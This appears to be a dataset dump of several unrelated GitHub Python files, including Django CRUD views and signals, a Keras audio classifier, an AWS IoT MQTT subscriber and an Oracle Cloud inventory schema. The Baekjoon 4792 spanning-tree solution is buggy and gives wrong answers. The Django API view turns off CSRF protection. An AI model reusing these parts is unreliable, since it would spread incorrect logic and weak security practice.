get_coinlike_dice(self):\n # \"coinlike\" means a die has at most 2 values (in any amount)\n def is_coinlike(d):\n # have exactly 2 values: them being sorted means anything in mid is either first or last\n first, *mid, last = Die.get_die_hash(d)\n for dig in mid:\n if dig != first and dig != last:\n return False\n return True\n\n return np.array([is_coinlike(d) for d in self.all_dice])\n\n def make(self, dice, filter_coinlike):\n filt_coin = self.get_coinlike_dice() if filter_coinlike else None\n forward_g = self.graph_cycles(dice, filt_coin)\n reversible_g = self.graph_cycles_filter_reversed_double(forward_g)\n reversible = self.graph_cycles_to_tidx(reversible_g)\n cnt = 0\n for cycle in reversible:\n cnt += 1\n print(\" -> \".join(Die.get_die_name(d) for d in cycle), flush=True)\n print(\"total:\", cnt)\n print(\"\")\n\n def evaluate(self, dn1: str, dn2: str):\n d1 = Die.get_die_index(dn1)\n d2 = Die.get_die_index(dn2)\n w,d,l = self.table.get_result(self.table.throwone, d1, d2)\n print(f\"When playing 1: {w:8} {d:8} {l:8}\", (\"mostly wins\" if w > l+d else \"mostly loses\" if l > w+d else \"\"))\n w,d,l = self.table.get_result(self.table.throwtwo, d1, d2)\n print(f\"When playing 2: {w:8} {d:8} {l:8}\", (\"mostly wins\" if w > l+d else \"mostly loses\" if l > w+d else \"\"))\n","repo_name":"martok/intransidice","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11536988788","text":"import io\nfrom django.shortcuts import render\nfrom rest_framework.parsers import JSONParser\n\nfrom .models import Student\nfrom .serializers import StudentSerializer\nfrom rest_framework.renderers import JSONRenderer\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef student_api(request):\n if request.method == \"POST\":\n json_data = request.body\n stream = io.BytesIO(json_data)\n python_data = JSONParser().parse(stream)\n serializer = StudentSerializer(data=python_data)\n if serializer.is_valid():\n serializer.save()\n response = {'message': 'Data created!'}\n json_data = JSONRenderer().render(response)\n return HttpResponse(json_data, content_type='application/json')\n\n json_data = JSONRenderer.render(serializer.errors)\n return HttpResponse(json_data, content_type='application/json')\n\n elif request.method == \"GET\":\n json_data = request.body\n stream = io.BytesIO(json_data)\n python_data = JSONParser().parse(stream)\n id = python_data.get('id', None)\n if id is not None:\n student = Student.objects.get(id=id)\n serializer = StudentSerializer(student)\n # json_data = JSONRenderer().render(serializer.data)\n # return HttpResponse(json_data, content_type='application/json')\n return JsonResponse(serializer.data)\n else:\n student = Student.objects.all()\n serializer = StudentSerializer(student, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n elif request.method == \"PUT\":\n json_data = request.body\n stream = io.BytesIO(json_data)\n python_data = JSONParser().parse(stream)\n id = python_data.get('id')\n student = Student.objects.get(id=id)\n # partial=False means user need to give full data otherwise it will show required field error\n serializer = StudentSerializer(student, data=python_data, partial=False)\n if serializer.is_valid():\n serializer.save()\n response = {'message': 'Data updated!'}\n json_data = JSONRenderer().render(response)\n return HttpResponse(json_data, content_type='application/json')\n\n json_data = JSONRenderer.render(serializer.errors)\n return HttpResponse(json_data, content_type='application/json')\n\n elif request.method == \"DELETE\":\n json_data = request.body\n stream = io.BytesIO(json_data)\n python_data = JSONParser().parse(stream)\n id = python_data.get('id')\n student = Student.objects.get(id=id)\n student.delete()\n\n response = {'message': 'Data deleted!'}\n json_data = JSONRenderer().render(response)\n return HttpResponse(json_data, content_type='application/json')\n\n\n","repo_name":"sudiptacseseu/drf-learning","sub_path":"functionbasedview/crudapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"31648179295","text":"import taichi as ti\r\nimport taichi.math as tm\r\nimport random\r\nti.init(arch=ti.cpu)\r\n\r\n@ti.func\r\ndef check_collision(p, index):\r\n x, y = index\r\n collision = False\r\n for i in range(max(0, x - 2), min(grid_n, x + 3)):\r\n for j in range(max(0, y - 2), min(grid_n, y + 3)):\r\n if grid[i, j] != -1:\r\n q = samples[grid[i, j]]\r\n if (q - p).norm() < radius - 1e-6:\r\n collision = True\r\n return collision\r\n\r\n@ti.kernel\r\ndef poisson_disk_sample(desired_samples: int) -> int:\r\n samples[0] = tm.vec2(grid_x/2, 0.5)\r\n grid[int(grid_n * grid_x/2), int(grid_n * 0.5)] = 0\r\n head, tail = 0, 1\r\n while head < tail and head < desired_samples:\r\n source_x = samples[head]\r\n head += 1\r\n for _ in range(100):\r\n theta = ti.random() * 2 * tm.pi\r\n offset = tm.vec2(tm.cos(theta), tm.sin(theta)) * (1 + ti.random()) * radius\r\n new_x = source_x + offset\r\n new_index = int(new_x * inv_dx)\r\n # print(new_index)\r\n if 0 <= new_x[0] < grid_x and 0 <= new_x[1] < 1:\r\n collision = check_collision(new_x, new_index)\r\n if not collision and tail < desired_samples:\r\n samples[tail] = new_x\r\n grid[new_index] = tail\r\n tail += 1\r\n return tail\r\n\r\ndef show():\r\n num_samples = poisson_disk_sample(desired_samples)\r\n gui = ti.GUI(\"Poisson Disk Sampling\", res=800, background_color=0xFFFFFF)\r\n count = 0\r\n speed = 300\r\n while gui.running:\r\n gui.circles(samples.to_numpy()[:min(count * speed, num_samples)],\r\n color=0x000000,\r\n radius=1.5)\r\n count += 1\r\n gui.show()\r\n\r\nw = 640\r\nh = 480\r\n# w = random.randint(1,1000)\r\n# h = random.randint(1,1000)\r\n\r\n# 统一转换成w < h,方便后续计算\r\nif w > h:\r\n a = w\r\n w = h\r\n h = a\r\ngrid_x = w/h\r\ngrid_x = round(grid_x,6) #防止出现除不尽小数的情况,取六位小数\r\n\r\ngrid_n = 200\r\nres = (grid_n, grid_n)\r\ndx = grid_x / res[0]\r\ninv_dx = res[0]\r\n\r\nradius = dx * ti.sqrt(2)\r\ndesired_samples = 10000\r\ngrid = ti.field(dtype=int, shape=res)\r\nsamples = ti.Vector.field(2, float, shape=desired_samples)\r\n\r\ngrid.fill(-1)\r\nsamples[0] = tm.vec2(grid_x/2, 0.5)\r\n\r\nshow()","repo_name":"East-Hu/-poisson-sampling-homework-easy","sub_path":"poisson_sampling_homework_easy.py","file_name":"poisson_sampling_homework_easy.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43463802641","text":"'''\n4792번\n레드 블루 스패닝 트리\n'''\n\nimport sys\nimport heapq\ninput=sys.stdin.readline\n\nwhile True:\n n, m, k=map(int, input().split())\n if n==m==k==0: break\n graph={}; color=[[0 for _ in range(1001)] for _ in range(1001)]\n for _ in range(m):\n c, a, b=input().rstrip().split()\n a=int(a); b=int(b)\n if a not in graph: graph[a]=[]\n if b not in graph: graph[b]=[]\n graph[a].append(b)\n graph[b].append(a)\n color[a][b]=color[b][a]='B'\n \n pq=[]; visited={}; res1=0; res2=0\n heapq.heappush(pq, [0, 1])\n while pq:\n p=heapq.heappop(pq)\n if p[1] not in visited:\n visited[p[1]]=True\n res1+=p[0]\n for g in graph[p[1]]:\n cost=0\n if color[a][b]=='B': cost=1\n heapq.heappush(pq, [cost, g])\n \n pq=[]; visited={}\n heapq.heappush(pq, [0, 1])\n while pq:\n p=heapq.heappop(pq)\n if p[1] not in visited:\n visited[p[1]]=True\n res1+=p[0]\n for g in graph[p[1]]:\n cost=0\n if color[a][b]=='R': cost=1\n heapq.heappush(pq, [cost, g])\n\n print(1 if res2<=k<=res1 else 0)","repo_name":"WSJI0/BOJ","sub_path":"1000-9999/4792.py","file_name":"4792.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"44420108398","text":"from __future__ import print_function\n\n''' \nClassify sounds using database\nAuthor: Scott H. Hawley\n\nThis is kind of a mixture of Keun Woo Choi's code https://github.com/keunwoochoi/music-auto_tagging-keras\n and the MNIST classifier at https://github.com/fchollet/keras/blob/master/examples/mnist_cnn.py\n\nTrained using Fraunhofer IDMT's database of monophonic guitar effects, \n clips were 2 seconds long, sampled at 44100 Hz\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport librosa\nimport librosa.display\n\nfrom keras.models import Sequential, Model\nfrom keras.layers import Input, Dense, TimeDistributed, LSTM, Dropout, Activation\nfrom keras.layers import Convolution2D, MaxPooling2D, Flatten\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.advanced_activations import ELU\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import backend\nfrom keras.utils import np_utils\nimport os\nfrom os.path import isfile\n\nfrom timeit import default_timer as timer\n\nmono=True\n\n\ndef get_class_names(path=\"Preproc/\"): # class names are subdirectory names in Preproc/ directory\n class_names = os.listdir(path)\n return class_names\n\ndef get_total_files(path=\"Preproc/\",train_percentage=0.8): \n sum_total = 0\n sum_train = 0\n sum_test = 0\n subdirs = os.listdir(path)\n for subdir in subdirs:\n files = os.listdir(path+subdir)\n n_files = len(files)\n sum_total += n_files\n n_train = int(train_percentage*n_files)\n n_test = n_files - n_train\n sum_train += n_train\n sum_test += n_test\n return sum_total, sum_train, sum_test\n\ndef get_sample_dimensions(path='Preproc/'):\n classname = os.listdir(path)[0]\n files = os.listdir(path+classname)\n infilename = files[0]\n audio_path = path + classname + '/' + infilename\n melgram = np.load(audio_path)\n print(\" get_sample_dimensions: melgram.shape = \",melgram.shape)\n return melgram.shape\n \n\ndef encode_class(class_name, class_names): # makes a \"one-hot\" vector for each class name called\n try:\n idx = class_names.index(class_name)\n vec = np.zeros(len(class_names))\n vec[idx] = 1\n return vec\n except ValueError:\n return None\n\ndef shuffle_XY_paths(X,Y,paths): # generates a randomized order, keeping X&Y(&paths) together\n assert (X.shape[0] == Y.shape[0] )\n idx = np.array(range(Y.shape[0]))\n np.random.shuffle(idx)\n newX = np.copy(X)\n newY = np.copy(Y)\n newpaths = paths\n for i in range(len(idx)):\n newX[i] = X[idx[i],:,:]\n newY[i] = Y[idx[i],:]\n newpaths[i] = paths[idx[i]]\n return newX, newY, newpaths\n\n\n'''\nSo we make the training & testing datasets here, and we do it separately.\nWhy not just make one big dataset, shuffle, and then split into train & test?\nbecause we want to make sure statistics in training & testing are as similar as possible\n'''\ndef build_datasets(train_percentage=0.8, preproc=False):\n if (preproc):\n path = \"Preproc/\"\n else:\n path = \"Samples/\"\n\n class_names = get_class_names(path=path)\n print(\"class_names = \",class_names)\n\n total_files, total_train, total_test = get_total_files(path=path, train_percentage=train_percentage)\n print(\"total files = \",total_files)\n\n nb_classes = len(class_names)\n\n # pre-allocate memory for speed (old method used np.concatenate, slow)\n mel_dims = get_sample_dimensions(path=path) # Find out the 'shape' of each data file\n X_train = np.zeros((total_train, mel_dims[1], mel_dims[2], mel_dims[3])) \n Y_train = np.zeros((total_train, nb_classes)) \n X_test = np.zeros((total_test, mel_dims[1], mel_dims[2], mel_dims[3])) \n Y_test = np.zeros((total_test, nb_classes)) \n paths_train = []\n paths_test = []\n\n train_count = 0\n test_count = 0\n for idx, classname in enumerate(class_names):\n this_Y = np.array(encode_class(classname,class_names) )\n this_Y = this_Y[np.newaxis,:]\n class_files = os.listdir(path+classname)\n n_files = len(class_files)\n n_load = n_files\n n_train = int(train_percentage * n_load)\n printevery = 100\n print(\"\")\n for idx2, infilename in enumerate(class_files[0:n_load]): \n audio_path = path + classname + '/' + infilename\n if (0 == idx2 % printevery):\n print('\\r Loading class: {:14s} ({:2d} of {:2d} classes)'.format(classname,idx+1,nb_classes),\n \", file \",idx2+1,\" of \",n_load,\": \",audio_path,sep=\"\")\n #start = timer()\n if (preproc):\n melgram = np.load(audio_path)\n sr = 44100\n else:\n aud, sr = librosa.load(audio_path, mono=mono,sr=None)\n melgram = librosa.logamplitude(librosa.feature.melspectrogram(aud, sr=sr, n_mels=96),ref_power=1.0)[np.newaxis,np.newaxis,:,:]\n\n melgram = melgram[:,:,:,0:mel_dims[3]] # just in case files are differnt sizes: clip to first file size\n \n #end = timer()\n #print(\"time = \",end - start) \n if (idx2 < n_train):\n # concatenate is SLOW for big datasets; use pre-allocated instead\n #X_train = np.concatenate((X_train, melgram), axis=0) \n #Y_train = np.concatenate((Y_train, this_Y), axis=0)\n X_train[train_count,:,:] = melgram\n Y_train[train_count,:] = this_Y\n paths_train.append(audio_path) # list-appending is still fast. (??)\n train_count += 1\n else:\n X_test[test_count,:,:] = melgram\n Y_test[test_count,:] = this_Y\n #X_test = np.concatenate((X_test, melgram), axis=0)\n #Y_test = np.concatenate((Y_test, this_Y), axis=0)\n paths_test.append(audio_path)\n test_count += 1\n print(\"\")\n\n print(\"Shuffling order of data...\")\n X_train, Y_train, paths_train = shuffle_XY_paths(X_train, Y_train, paths_train)\n X_test, Y_test, paths_test = shuffle_XY_paths(X_test, Y_test, paths_test)\n\n return X_train, Y_train, paths_train, X_test, Y_test, paths_test, class_names, sr\n\n\n\ndef build_model(X,Y,nb_classes):\n nb_filters = 32 # number of convolutional filters to use\n pool_size = (2, 2) # size of pooling area for max pooling\n kernel_size = (3, 3) # convolution kernel size\n nb_layers = 4\n input_shape = (1, X.shape[2], X.shape[3])\n\n model = Sequential()\n model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1],\n border_mode='valid', input_shape=input_shape))\n model.add(BatchNormalization(axis=1, mode=2))\n model.add(Activation('relu'))\n\n for layer in range(nb_layers-1):\n model.add(Convolution2D(nb_filters, kernel_size[0], kernel_size[1]))\n model.add(BatchNormalization(axis=1, mode=2))\n model.add(ELU(alpha=1.0)) \n model.add(MaxPooling2D(pool_size=pool_size))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(128))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n model.add(Dense(nb_classes))\n model.add(Activation(\"softmax\"))\n return model\n \n\nif __name__ == '__main__':\n np.random.seed(1)\n\n # get the data\n X_train, Y_train, paths_train, X_test, Y_test, paths_test, class_names, sr = build_datasets(preproc=True)\n\n # make the model\n model = build_model(X_train,Y_train, nb_classes=len(class_names))\n model.compile(loss='categorical_crossentropy',\n optimizer='adadelta',\n metrics=['accuracy'])\n model.summary()\n\n # Initialize weights using checkpoint if it exists. (Checkpointing requires h5py)\n load_checkpoint = True\n checkpoint_filepath = 'weights.hdf5'\n if (load_checkpoint):\n print(\"Looking for previous weights...\")\n if ( isfile(checkpoint_filepath) ):\n print ('Checkpoint file detected. Loading weights.')\n model.load_weights(checkpoint_filepath)\n else:\n print ('No checkpoint file detected. Starting from scratch.')\n else:\n print('Starting from scratch (no checkpoint)')\n checkpointer = ModelCheckpoint(filepath=checkpoint_filepath, verbose=1, save_best_only=True)\n\n\n # train and score the model\n batch_size = 128\n nb_epoch = 100\n model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epoch,\n verbose=1, validation_data=(X_test, Y_test), callbacks=[checkpointer])\n score = model.evaluate(X_test, Y_test, verbose=0)\n print('Test score:', score[0])\n print('Test accuracy:', score[1])\n\n","repo_name":"drscotthawley/audio-classifier-keras-cnn","sub_path":"train_network.py","file_name":"train_network.py","file_ext":"py","file_size_in_byte":8633,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"5"} +{"seq_id":"39255865321","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.core.mail import send_mail\nfrom api.models import Report, AuthorityReport\n\n@receiver(post_save, sender=Report)\ndef create_authority_report(sender, instance, created, **kwargs):\n try:\n # create authority report only when both actual and estimate report exists\n other_report = Report.objects.get(school=instance.school, for_date=instance.for_date, added_by_school=(not instance.added_by_school))\n\n if instance.added_by_school:\n AuthorityReport.objects.create(school=instance.school, actual=instance, estimate=other_report, for_date=instance.for_date)\n else:\n AuthorityReport.objects.create(school=instance.school, estimate=instance, actual=other_report, for_date=instance.for_date)\n\n except Report.DoesNotExist:\n pass\n\n@receiver(post_save, sender=AuthorityReport)\ndef send_discrepancy_email(sender, instance, created, **kwargs):\n if instance.is_discrepant:\n send_mail(\n 'Report Discrepancy: School {} - {}'.format(instance.school.name, instance.for_date),\n \"\"\"\n Dear Sir/Madam,\n\n There seems to be a discrepancy in the {}'s report for the school {}. \n\n Report given by school:\n\n Student count: {},\n Food items: {}\n\n Report predicted by the system:\n\n Student count: {},\n Food items: {}\n \"\"\".format(instance.for_date, instance.school.name, \n instance.actual.student_count, instance.actual.items.all(),\n instance.estimate.student_count, instance.estimate.items.all()),\n 'jyuvaraj000@gmail.com',\n [instance.school.authority.user.email],\n # [instance.school.authority.email],\n fail_silently=False,\n )\n ","repo_name":"jyuvaraj03/am291-fubars","sub_path":"backend/mdm/api/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"39240306173","text":"# Subscribes to Data Published to AWS Cloud\r\n\r\nimport paho.mqtt.client as mqtt\r\nimport os\r\nimport socket\r\nimport ssl\r\nimport RPi.GPIO as GPIO\r\nGPIO.setmode(GPIO.BOARD)\r\n\r\n#Ahora definimos el pin 11\r\nGPIO.setup(12, GPIO.OUT) \r\n\r\n\r\n\r\n\r\n\r\ndef on_connect(client, userdata, flags, rc):\r\n print(\"Connection returned result: \" + str(rc) )\r\n # Subscribing in on_connect() means that if we lose the connection and\r\n # reconnect then subscriptions will be renewed.\r\n client.subscribe(\"#\" , 1 )\r\n\r\ndef on_message(client, userdata, msg):\r\n\r\n \r\n print(\"topic: \"+msg.topic)\r\n print(str(msg.payload))\r\n if msg.topic == \"LEDON\":\r\n \r\n print(\"PRENDE\")\r\n \r\n GPIO.output(12, GPIO.LOW)\r\n \r\n if msg.topic == \"LEDOFF\": \r\n print(\"APAGA\")\r\n GPIO.output(12, GPIO.HIGH)\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nmqttc = mqtt.Client()\r\nmqttc.on_connect = on_connect\r\nmqttc.on_message = on_message\r\n\r\n\r\n# Define the AWS Host Key ; Thing Name defined in AWS IoT; Root Certificate Path; Certificate Path; Private Key Certificate Path \r\nawshost = \"a2ednx02go12nb-ats.iot.us-east-2.amazonaws.com\"\r\n# AWS Port(Default: 8883)\r\nawsport = 8883\r\n# Client ID\r\nclientId = \"raspi\"\r\n# Thing Name defined in AWS IoT\r\nthingName = \"raspi\"\r\n# Root Certificate Path\r\ncaPath = \"AmazonRootCA1.pem\"\r\n# Certificate Path\r\ncertPath = \"5e3fb7bd94-certificate.pem.crt\"\r\n# Private Key Certificate Path\r\nkeyPath = \"5e3fb7bd94cf6f3d2580f5424df747139677d88405ddceb48e8f52a273d367ed-private.pem.key\"\r\n\r\nmqttc.tls_set(caPath, certfile=certPath, keyfile=keyPath, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2, ciphers=None)\r\nmqttc.connect(awshost, awsport, keepalive=60)\r\nmqttc.loop_forever()\r\n","repo_name":"aftamayov/Taller2y3","sub_path":"AWS_IoT_Sub.py","file_name":"AWS_IoT_Sub.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19780238234","text":"#!/usr/bin/env python\n# tree.py\n# Prints files discovered while drilling through the folder hierarchy of a\n# given root.\n\nimport os\nfrom sys import argv\n\nimport _mod_config as config\nimport _mod_prettyprint as prettyprint\nimport _mod_tree as tree\n\npprint = prettyprint.pretty_print\ncolor_string = prettyprint.color_string\n\n###############################################################################\n# Begin per-program config\n###############################################################################\npy2_gtfo = True\nunix_check = True\n###############################################################################\n# End per-program config\n###############################################################################\n\nif __name__ == '__main__':\n if len(argv) == 1 or argv[1] == 'help':\n print(config.msg_list['tree_help'])\n exit()\n\n # Parse arguments\n if argv[1] != os.curdir and argv[1] != os.pardir:\n use_abs = True\n else:\n use_abs = False\n\n files = tree.crawl(argv[1], use_abs)\n","repo_name":"dag0th/python_tidbits","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36502956799","text":"# Created By Seungho\nfrom schematics.types import ModelType, StringType, PolyModelType\n\nfrom spaceone.inventory.model.exadata_cloud_database.data import CloudExadataInfra, CloudVMCluster, DatabaseSoftwareImage, Backup, Database\n\nfrom spaceone.inventory.libs.schema.metadata.dynamic_field import TextDyField, DateTimeDyField,\\\n EnumDyField, ListDyField, SizeField\nfrom spaceone.inventory.libs.schema.metadata.dynamic_layout import ItemDynamicLayout, TableDynamicLayout, \\\n ListDynamicLayout\nfrom spaceone.inventory.libs.schema.cloud_service import CloudServiceResource, CloudServiceResponse, CloudServiceMeta\n\n'''\nExadataInfrastructure\n'''\nexadata_infra_base = ItemDynamicLayout.set_fields('General Info', fields=[\n TextDyField.data_source('Display Name', 'data.display_name'),\n TextDyField.data_source('Id', 'data.id'),\n EnumDyField.data_source('Lifecycle State', 'data.lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['UPDATING', 'TERMINATING', 'MAINTENANCE_IN_PROGRESS'],\n 'alert': ['TERMINATED', 'FAILED']\n }),\n TextDyField.data_source('Availability Domain', 'data.availability_domain'),\n TextDyField.data_source('Compartment', 'data.compartment_name'),\n TextDyField.data_source('Shape', 'data.shape'),\n TextDyField.data_source('Version', 'data.version'),\n TextDyField.data_source('Compute Count', 'data.compute_count'),\n TextDyField.data_source('Storage Count', 'data.storage_count'),\n SizeField.data_source('Total Storage Size', 'data.total_storage_size_in_gbs', options={\n 'display_unit': 'GB',\n 'source_unit': 'GB'\n }),\n SizeField.data_source('Available Storage Size', 'data.available_storage_size_in_gbs', options={\n 'display_unit': 'GB',\n 'source_unit': 'GB'\n }),\n #TextDyField.data_source('Maintenance Window' 'data.maintenance_window.display'),\n DateTimeDyField.data_source('Created', 'data.time_created')\n])\n\nexadata_last_maintenance_run = ItemDynamicLayout.set_fields('Last Maintenance Run', root_path='data.last_maintenance_run'\n , fields=[\n TextDyField.data_source('Display', 'maintenance_display'),\n TextDyField.data_source('Id', 'id'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['SUCCEEDED'],\n 'warning': ['SCHEDULED', 'IN_PROGRESS',\n 'SKIPPED', 'UPDATING', 'DELETING'],\n 'alert': ['FAILED', 'DELETED', 'CANCELED']\n }),\n TextDyField.data_source('Description', 'description'),\n TextDyField.data_source('Target Resource Id', 'target_resource_type'),\n TextDyField.data_source('Target Resource Type', 'target_resource_type'),\n TextDyField.data_source('Maintenance Type', 'maintenance_type'),\n TextDyField.data_source('Maintenance Subtype', 'maintenance_subtype'),\n TextDyField.data_source('Alert', 'maintenance_alert'),\n DateTimeDyField.data_source('Time Scheduled', 'time_scheduled'),\n DateTimeDyField.data_source('Time Started', 'time_started'),\n DateTimeDyField.data_source('Time Ended', 'time_ended')\n ])\n\nexadata_next_maintenance_run = ItemDynamicLayout.set_fields('Next Maintenance Run', root_path='data.next_maintenance_run'\n , fields=[\n TextDyField.data_source('Display', 'maintenance_display'),\n TextDyField.data_source('Id', 'id'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['SUCCEEDED'],\n 'warning': ['SCHEDULED', 'IN_PROGRESS',\n 'SKIPPED', 'UPDATING', 'DELETING'],\n 'alert': ['FAILED', 'DELETED', 'CANCELED']\n }),\n TextDyField.data_source('Description', 'description'),\n TextDyField.data_source('Target Resource Id', 'target_resource_type'),\n TextDyField.data_source('Target Resource Type', 'target_resource_type'),\n TextDyField.data_source('Maintenance Type', 'maintenance_type'),\n TextDyField.data_source('Maintenance Subtype', 'maintenance_subtype'),\n TextDyField.data_source('Alert', 'maintenance_alert'),\n DateTimeDyField.data_source('Time Scheduled', 'time_scheduled'),\n DateTimeDyField.data_source('Time Started', 'time_started'),\n DateTimeDyField.data_source('Time Ended', 'time_ended')\n ])\n\nexadata_maintenance_meta = ListDynamicLayout.set_layouts('Maintenance Run', [exadata_last_maintenance_run,\n exadata_next_maintenance_run])\n\nexadata_vm_cluster_meta =\\\n TableDynamicLayout.set_fields('Exadata VM Clusters',\n root_path='data.list_cloud_vm_cluster', fields=[\n TextDyField.data_source('Display Name', 'display_name'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'UPDATING',\n 'TERMINATING','MAINTENANCE_IN_PROGRESS'],\n 'alert': ['TERMINATED', 'FAILED']\n }),\n TextDyField.data_source('Compartment', 'compartment_name'),\n TextDyField.data_source('Availability Domain', 'availability_domain'),\n TextDyField.data_source('CPU Core Count', 'cpu_core_count'),\n DateTimeDyField.data_source('Created', 'time_created')\n ])\n\nexadata_tag = TableDynamicLayout.set_fields('Tags', root_path='data.freeform_tags', fields=[\n TextDyField.data_source('Key', 'key'),\n TextDyField.data_source('Value', 'value')\n])\n\nexadata_infra_meta = CloudServiceMeta.set_layouts([exadata_infra_base, exadata_vm_cluster_meta,\n exadata_maintenance_meta, exadata_tag])\n\n'''\nExadataVMCluster\n'''\nvm_cluster_base = ItemDynamicLayout.set_fields('General Info', fields=[\n TextDyField.data_source('Display Name', 'data.display_name'),\n TextDyField.data_source('Cluster Name', 'data.cluster_name'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'UPDATING',\n 'TERMINATING','MAINTENANCE_IN_PROGRESS'],\n 'alert': ['TERMINATED', 'FAILED']\n }),\n TextDyField.data_source('Id', 'data.id'),\n TextDyField.data_source('Availability Domain', 'data.availability_domain'),\n TextDyField.data_source('Compartment', 'data.compartment_name'),\n TextDyField.data_source('Cloud Exadata Infrastructure Id', 'data.cloud_exadata_infrastructure_id'),\n TextDyField.data_source('Shape', 'data.shape'),\n TextDyField.data_source('CPU Core Count', 'data.cpu_core_count'),\n TextDyField.data_source('Node Count', 'data.node_count'),\n SizeField.data_source('Storage Size','data.storage_size_in_gbs', options={\n 'display_unit': 'GB',\n 'source_unit': 'GB'\n }),\n TextDyField.data_source('Storage Percentage', 'data.data_storage_percentage'),\n TextDyField.data_source('System Version', 'data.system_version'),\n TextDyField.data_source('License Model', 'data.license_model'),\n TextDyField.data_source('GI Version', 'data.gi_version'),\n TextDyField.data_source('Time Zone', 'data.time_zone'),\n ListDyField.data_source('SSH Public Key', 'data.ssh_public_keys', options={\n 'delimiter': '<br>'\n }),\n DateTimeDyField.data_source('Created', 'data.time_created')\n])\n\nvm_cluster_network = ItemDynamicLayout.set_fields('Network', fields=[\n TextDyField.data_source('Subnet Id', 'data.subnet_id'),\n TextDyField.data_source('Backup Subnet Id', 'data.backup_subnet_id'),\n ListDyField.data_source('NSG Id', 'data.nsg_ids', options={\n 'delimiter': '<br>'\n }),\n ListDyField.data_source('Backup NSG Id', 'data.backup_network_nsg_ids', options={\n 'delimiter': '<br>'\n }),\n TextDyField.data_source('Hostname Prefix', 'data.hostname'),\n TextDyField.data_source('Host Domain Name', 'data.domain'),\n TextDyField.data_source('SCAN DNS Name', 'data.scan_dns_name'),\n TextDyField.data_source('SCAN DNS record Id', 'data.scan_dns_record_id'),\n ListDyField.data_source('SCAN IP Id', 'data.scan_ip_ids', options={\n 'delimiter': '<br>'\n }),\n ListDyField.data_source('VIP Id', 'data.vip_ids', options={\n 'delimiter': '<br>'\n })\n])\n\nvm_cluster_database = TableDynamicLayout.set_fields('Database', root_path='data.list_database', fields=[\n TextDyField.data_source('Name', 'db_name'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'UPDATING',\n 'BACKUP_IN_PROGRESS', 'UPGRADING', 'TERMINATING'],\n 'alert': ['TERMINATED', 'RESTORE_FAILED', 'FAILED']\n }),\n TextDyField.data_source('Database Unique Name', 'db_unique_name'),\n TextDyField.data_source('Workload Type', 'db_workload'),\n DateTimeDyField.data_source('Created', 'time_created')\n])\n\nvm_cluster_node = TableDynamicLayout.set_fields('Node', root_path='data.list_db_node', fields=[\n TextDyField.data_source('Name', 'hostname'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['AVAILABLE'],\n 'warning': ['PROVISIONING', 'UPDATING', 'STOPPING', 'STARTING', 'TERMINATING'],\n 'alert': ['STOPPED', 'TERMINATED', 'FAILED']\n }),\n TextDyField.data_source('Vnic Id', 'vnic_id'),\n TextDyField.data_source('Fault Domain', 'fault_domain'),\n TextDyField.data_source('Storage Size(GB)', 'software_storage_size_in_gb'),\n DateTimeDyField.data_source('Created', 'time_created')\n])\n\nvm_cluster_update_history = \\\n TableDynamicLayout.set_fields('Update History', root_path='data.list_update_history', fields=[\n TextDyField.data_source('Update Id', 'update_id'),\n TextDyField.data_source('Action', 'update_action'),\n TextDyField.data_source('Type', 'update_type'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['SUCCEEDED'],\n 'warning': ['IN_PROGRESS'],\n 'alert': ['FAILED']\n }),\n DateTimeDyField.data_source('Started', 'time_started'),\n DateTimeDyField.data_source('Completed', 'time_completed')\n ])\n\nvm_cluster_update =\\\n TableDynamicLayout.set_fields('Update', root_path='data.list_update', fields=[\n TextDyField.data_source('Id', 'id'),\n EnumDyField.data_source('State', 'lifecycle_state', default_state={\n 'safe': ['SUCCEEDED'],\n 'warning': ['IN_PROGRESS'],\n 'alert': ['FAILED']\n }),\n TextDyField.data_source('Type', 'update_type'),\n TextDyField.data_source('Last Action', 'last_action'),\n ListDyField.data_source('Available Actions', 'available_actions', options={\n 'delimiter': 